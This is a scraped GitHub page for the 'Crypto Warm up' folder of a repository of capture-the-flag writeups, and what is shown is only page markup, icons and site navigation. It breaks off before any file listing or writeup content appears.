src="https://github.githubassets.com/assets/topic-suggestions-09f25cf6.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-Y9QCffkHDk3/KAoYUMhKeokbNlXWgpO+53XrccRwhUWzMTxEmhnp1ce7OVWP3vOzhCfWaxxnKWW9eVjjny8nRA==" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-63d4027d.js"></script> <meta name="viewport" content="width=device-width"> <title>CTF/ASIS CTF/Crypto Warm up at main · Lazzaro98/CTF · GitHub</title> <meta name="description" content="CTF (Capture The Flag) writeups, code snippets, notes, scripts,... - CTF/ASIS CTF/Crypto Warm up at main · Lazzaro98/CTF"> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/9aea6cd4cfb3f037c4fae2c24caa38dd6be2378ba723ce3d0f2de66c2a698d06/Lazzaro98/CTF" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF/ASIS CTF/Crypto Warm up at main · Lazzaro98/CTF" /><meta name="twitter:description" content="CTF (Capture The Flag) writeups, code snippets, notes, scripts,... - CTF/ASIS CTF/Crypto Warm up at main · Lazzaro98/CTF" /> <meta property="og:image" content="https://opengraph.githubassets.com/9aea6cd4cfb3f037c4fae2c24caa38dd6be2378ba723ce3d0f2de66c2a698d06/Lazzaro98/CTF" /><meta property="og:image:alt" content="CTF (Capture The Flag) writeups, code snippets, notes, scripts,... - CTF/ASIS CTF/Crypto Warm up at main · Lazzaro98/CTF" /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF/ASIS CTF/Crypto Warm up at main · Lazzaro98/CTF" /><meta property="og:url" content="https://github.com/Lazzaro98/CTF" /><meta property="og:description" content="CTF (Capture The Flag) writeups, code snippets, notes, scripts,... - CTF/ASIS CTF/Crypto Warm up at main · Lazzaro98/CTF" /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="request-id" content="B218:785B:D5467B:E66CB0:6183067F" data-pjax-transient="true"/><meta name="html-safe-nonce" content="1de27638a25e9643938e09f42e795281cfc5014cc71befc4bbbc92993974f66a" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCMjE4Ojc4NUI6RDU0NjdCOkU2NkNCMDo2MTgzMDY3RiIsInZpc2l0b3JfaWQiOiI4NzcwMjUxNjYxNjE3ODU4MTc1IiwicmVnaW9uX2VkZ2UiOiJmcmEiLCJyZWdpb25fcmVuZGVyIjoiZnJhIn0=" data-pjax-transient="true"/><meta name="visitor-hmac" content="9d1fefd01ec37cd09dd62f885e4fb01eb08d62fc03057e65bea809b4690940d7" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:391651928" data-pjax-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code" data-pjax-transient="true" /> <meta name="selected-link" value="repo_source" data-pjax-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="octolytics-url" content="https://collector.githubapp.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-pjax-transient="true" /> <meta name="hostname" content="github.com"> <meta name="user-login" content=""> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="MARKETPLACE_PENDING_INSTALLATIONS,FILE_UPLOAD_CURSOR_POSITION"> <meta http-equiv="x-pjax-version" content="89408a5ac57f5b71ed7ebb466b241a52be13289bf52f5580353d1ab3681a2237"> <meta http-equiv="x-pjax-csp-version" content="9ea82e8060ac9d44365bfa193918b70ed58abd9413362ba412abb161b3a8d1b6"> <meta http-equiv="x-pjax-css-version" content="8c75751aad52ee8322f8435d51506c1b59a636003602b767a0b479bddfe5cb22"> <meta http-equiv="x-pjax-js-version" content="3cad26b543586e12a4ad3073df6bdffcfe52ab9dafecfd0ffc60594d519fb9b5"> <meta name="go-import" content="github.com/Lazzaro98/CTF git https://github.com/Lazzaro98/CTF.git"> <meta name="octolytics-dimension-user_id" content="46060203" /><meta name="octolytics-dimension-user_login" content="Lazzaro98" /><meta name="octolytics-dimension-repository_id" content="391651928" /><meta name="octolytics-dimension-repository_nwo" content="Lazzaro98/CTF" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="391651928" /><meta name="octolytics-dimension-repository_network_root_nwo" content="Lazzaro98/CTF" /> <link rel="canonical" href="https://github.com/Lazzaro98/CTF/tree/main/ASIS%20CTF/Crypto%20Warm%20up" data-pjax-transient> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <header class="Header-old header-logged-out js-details-container Details position-relative f4 py-2" role="banner"> <div class="container-xl d-lg-flex flex-items-center p-responsive"> <div class="d-flex flex-justify-between flex-items-center"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github color-text-white"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> <div class="d-lg-none css-truncate css-truncate-target width-fit p-2"> </div> <div class="d-flex flex-items-center"> Sign up <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link d-lg-none mt-1"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-three-bars color-text-white"> <path fill-rule="evenodd" d="M1 2.75A.75.75 0 011.75 2h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 2.75zm0 5A.75.75 0 011.75 7h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 7.75zM1.75 12a.75.75 0 100 1.5h12.5a.75.75 0 100-1.5H1.75z"></path></svg> </button> </div> </div> <div class="HeaderMenu HeaderMenu--logged-out position-fixed top-0 right-0 bottom-0 height-fit position-lg-relative d-lg-flex flex-justify-between flex-items-center flex-auto"> <div class="d-flex d-lg-none flex-justify-end border-bottom color-bg-subtle p-3"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-x color-icon-secondary"> <path fill-rule="evenodd" d="M5.72 5.72a.75.75 0 011.06 0L12 10.94l5.22-5.22a.75.75 0 111.06 1.06L13.06 12l5.22 5.22a.75.75 0 11-1.06 1.06L12 13.06l-5.22 5.22a.75.75 0 01-1.06-1.06L10.94 12 5.72 6.78a.75.75 0 010-1.06z"></path></svg> </button> </div> <nav class="mt-0 px-3 px-lg-0 mb-5 mb-lg-0" aria-label="Global"> <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Why GitHub? <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Features <span>→</span> Mobile <span>→</span> Actions <span>→</span> Codespaces <span>→</span> Packages <span>→</span> Security <span>→</span> Code review <span>→</span> Issues <span>→</span> Integrations <span>→</span> GitHub Sponsors <span>→</span> Customer stories<span>→</span> </div> </details> Team Enterprise <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Explore <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Explore GitHub <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Learn and contribute</h4> Topics <span>→</span> Collections <span>→</span> Trending <span>→</span> Learning Lab <span>→</span> Open source guides <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Connect with others</h4> The ReadME Project <span>→</span> Events <span>→</span> Community forum <span>→</span> GitHub Education <span>→</span> GitHub Stars program <span>→</span> </div> </details> Marketplace <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Pricing <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-4 mt-0 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Plans <span>→</span> Compare plans <span>→</span> Contact Sales <span>→</span> Education <span>→</span> </div> </details> </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-3 mb-lg-0"> <div class="header-search flex-auto js-site-search position-relative flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="391651928" data-scoped-search-url="/Lazzaro98/CTF/search" data-owner-scoped-search-url="/users/Lazzaro98/search" data-unscoped-search-url="/search" action="/Lazzaro98/CTF/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey=s,/ name="q" data-test-selector="nav-search-input" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="aa+S3F3RlPQYNnCDqe+K+BFbsuNDsbUyVzPJ3JEXA2v0WZr3kQkJ9C3UqL5+366OKcU3CECJwXyEXLA5O+783A==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-3 mb-4 mb-lg-0 d-inline-block"> Sign in </div> Sign up </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div data-pjax-replace id="js-flash-container"> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class=" px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div>{{ message }}</div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" data-pjax-container > <div id="repository-container-header" class="pt-3 hide-full-screen mb-5" style="background-color: var(--color-page-header-bg);" data-pjax-replace> <div class="d-flex mb-3 px-3 px-md-4 px-lg-5"> <div class="flex-auto min-width-0 width-fit mr-3"> <h1 class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-icon-secondary mr-2"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <span> Lazzaro98 </span> <span>/</span> CTF <span></span><span>Public</span></h1> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell"> <path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path></svg> Notifications <div > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom mr-1"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path></svg> <span> Star</span> 1 </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked"> <path fill-rule="evenodd" d="M5 3.25a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm0 2.122a2.25 2.25 0 10-1.5 0v.878A2.25 2.25 0 005.75 8.5h1.5v2.128a2.251 2.251 0 101.5 0V8.5h1.5a2.25 2.25 0 002.25-2.25v-.878a2.25 2.25 0 10-1.5 0v.878a.75.75 0 01-.75.75h-4.5A.75.75 0 015 6.25v-.878zm3.75 7.378a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm3-8.75a.75.75 0 100-1.5.75.75 0 000 1.5z"></path></svg> Fork 0 </div> <div id="responsive-meta-container" data-pjax-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M4.72 3.22a.75.75 0 011.06 1.06L2.06 8l3.72 3.72a.75.75 0 11-1.06 1.06L.47 8.53a.75.75 0 010-1.06l4.25-4.25zm6.56 0a.75.75 0 10-1.06 1.06L13.94 8l-3.72 3.72a.75.75 0 101.06 1.06l4.25-4.25a.75.75 0 000-1.06l-4.25-4.25z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 